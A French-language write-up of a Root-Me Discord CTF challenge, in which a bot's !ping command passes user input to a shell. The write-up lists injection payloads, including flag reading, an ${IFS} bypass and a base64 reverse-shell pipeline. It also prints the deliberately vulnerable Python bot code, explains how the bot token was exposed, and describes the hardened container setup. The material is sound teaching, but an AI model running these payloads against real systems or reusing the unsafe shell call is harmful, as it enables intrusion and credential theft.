The White Rabbit

Pendant le CTF Root-Me pour les 10k membres sur Discord, j’ai pu créer deux challenges sur Discord, et voici un writeup pour expliquer comment ils fonctionnent et comment les exploiter.

Introduction

  • Nom : The White Rabbit
  • Catégorie : Misc
  • Points : 500 -> 463
  • Résolutions : 30
  • Niveau : facile

Exploitation

Nous avons donc un bot Discord, qui nous donne le statut des serveurs de challenges sur Root-Me.org, notre seule commande disponible est !ping (hormis !help), et elle semble bien fonctionner.

Évidemment, nous pouvons directement penser à une injection de commande, car le ping doit être exécuté côté serveur. Nous allons donc essayer de donner un comportement anormal à ce bot pour faire apparaître une erreur qui pourrait nous donner des informations supplémentaires sur son fonctionnement.

Nous avons vite confirmation que nous contrôlons bien la variable challenge$VARIABLE.root-me.org, et qu’en y insérant des caractères anormaux, nous avons un log d’erreur ❌ Error log :, qui est vide. Chose intéressante à noter, c’est que nos doubles quotes " n’apparaissent pas dans le retour du bot. Maintenant que nous comprenons un peu mieux comment notre application réagit, essayons d’obtenir un retour dans notre log d’erreur.

Et voilà, nous avons réussi à obtenir un retour d’une commande bash dans notre log d’erreur, il reste plus qu’à simplement lire le flag

En réalité, c’est loin d’être le seul payload qui pouvait réussir à injecter du code, voilà un exemple de quelques autres :

!ping "; cat flag.txt "

# ${IFS} => https://en.wikipedia.org/wiki/Input_Field_Separators
!ping 01.root-||cat${IFS}flag.txt||true#

# thanks Feelzor
!ping ".attacker.domain .root-me.org || ls . 1>&2; cat flag.txt "

# thanks HyouKa
!ping "`sleep 5`"
!ping "`echo base64_reverse_shell | base64 -d | bash`"

Si vous avez réussi à l’exploiter avec une payload différente, n’hésitez pas à me le faire savoir 😄

How it’s work ?

Ok nous avons pu exploiter la vulnérabilité, mais alors comment ça se passe du côté du bot ?

Voilà le code du bot (sans sécurité) que nous allons utiliser pour l’exemple

#!/usr/bin/python3
# -*- coding: utf-8 -*-

from discord.ext.commands import Bot
from discord.ext import commands
from dotenv import load_dotenv
import discord # discord.py==2.0.0
import re
import os

# Defines some variables
intents = discord.Intents.default()
intents.message_content = True
bot = commands.Bot(command_prefix='!', intents=intents, help_command=None)
# load .env file
load_dotenv()

# Bot status and activity
@bot.event
async def on_ready():
    print("Ready !")
    activity = discord.Game(name="No time to say hello, goodbye. I'm late, late, late")
    return await bot.change_presence(status=discord.Status.online, activity=activity)

# Help command function
@bot.command(name="help")
async def help_cmd(ctx):
    if ctx:
        await ctx.send("""\n**You can use theses commands :**
                        ```\n!help : print the help list\n!ping : ping challengeXX.root-me.org\n exemple: !ping 01```""")
    else:
        await ctx.send("Please use !help to have list of commands")

# Ping command function
@bot.command(name="ping")
async def ping(ctx, parameter):
    if parameter:
        sh = f"ping -c 3 challenge{parameter}.root-me.org"
        print(sh)
        command = os.popen(sh).read()
        if '3 received' in command:
            await ctx.send(f"challenge{parameter}.root-me.org is up !\n")
            print(command)
        else:
            await ctx.send(f"challenge{parameter}.root-me.org is down :(")
            await ctx.send(f"❌ Error log : \n{command}")
    else:
        await ctx.send("Please use a parameter")

# Run
bot.run(os.getenv("TOKEN"))

Lorsque nous envoyons une commande basique comme !ping 01, le bot lui exécute ceci :

ping -c 3 challenge01.root-me.org

Cependant, si nous reprenons nos tests précédents et que nous envoyons les commandes !ping ; et !ping " hello ", le retour est bien différent :

# ;
ping -c 3 challenge;.root-me.org
ping: challenge: Name or service not known
/bin/sh: 1: .root-me.org: not found

# " hello "
ping -c 3 challenge hello .root-me.org
ping: .root-me.org: Name or service not known

On voit bien que le ; a bien été interprété en séparateur bash, et qu’il a interprété .root-me.org comme une nouvelle commande. Ce qui fait que la prochaine commande que nous allons envoyer après le semicolon ;, sera bien exécutée par le serveur.

# !ping "; id ;"

ping -c 3 challenge; id ;.root-me.org
ping: challenge: Name or service not known
uid=1000(chall) gid=1000(chall) groups=1000(chall)
/bin/sh: 1: .root-me.org: not found

Maintenant, nous avons un problème assez important avec ce code. Le token du bot Discord est récupéré dans l’environnement via le code suivant

bot.run(os.getenv("TOKEN"))

Ce qui veut dire que n’importe qui peut récupérer ce token comme ci-dessous, et peut modifier le bot à sa guise.

Nous allons voir comment nous pouvons sécuriser cette partie token

Configuration du challenge

Fichiers de l’architecture ici

Architecture

L’architecture du challenge est un peu plus complexe, elle repose sur 3 containers pour un seul bot. Par ailleurs, je remercie grandement TheLaluka qui, autours de quelques bières et de schémas dignes d’épreuves de stéganographie, m’a beaucoup aidé à réaliser cette architecture.

.
├── broker
│   ├── broker.py
│   ├── Dockerfile
│   └── requirements.txt
├── chall
│   ├── chall.py
│   ├── Dockerfile
│   ├── flag.txt
│   └── requirements.txt
├── docker-compose.yml
└── .env
  • docker-compose.yml -> fichier docker-compose pour démarrer le challenge

  • .env -> contient le token du bot

  • broker/broker.py -> code python du bot discord

  • broker/Dockerfile -> Image Docker de l’environnement du bot

  • broker/requirements.txt -> requirements python pour le bot

  • chall/chall.py -> application flask qui va exécuter l’injection de commande

  • chall/Dockerfile -> Image Docker de l’environnement de l’application

  • chall/requirements.txt -> requirements python pour l’application flask

  • chall/flag.txt -> flag du challenge

Ce fonctionnement permet que l’utilisateur ne peut pas lire le contenu de l’environnement du Docker où le bot est lancé, donc ne peut pas lire le token. Cela rajoute également un peu de sécurité en empêchant l’utilisateur d’interagir avec l’environnement du bot.

Maintenant que la sécurité est ajoutée, il faut également de la disponibilité en continu pour la durée du CTF, c’est pourquoi dans le fichier docker-compose.yml il y a un autre conteneur nommé autoheal. Il permet de relancer les conteneurs si ceux-ci ne fonctionnent pas correctement.

Et grâce à ce tout ce système, encore 1 semaine après le CTF, il n’y a eu aucune indisponibilité, ni action malveillante réussie (pourtant vous avez essayé ^^)

Running

docker-compose -f docker-compose.yml up -d 

Merci d’avoir lu, si vous avez une question à propos de l’exploitation, la configuration, l’architecture ou autre, vous pouvez m’envoyer un message sur Twitter ou Discord Nishacid#1337. Encore merci à pour m’avoir aidé à TheLaluka sécuriser ce challenge !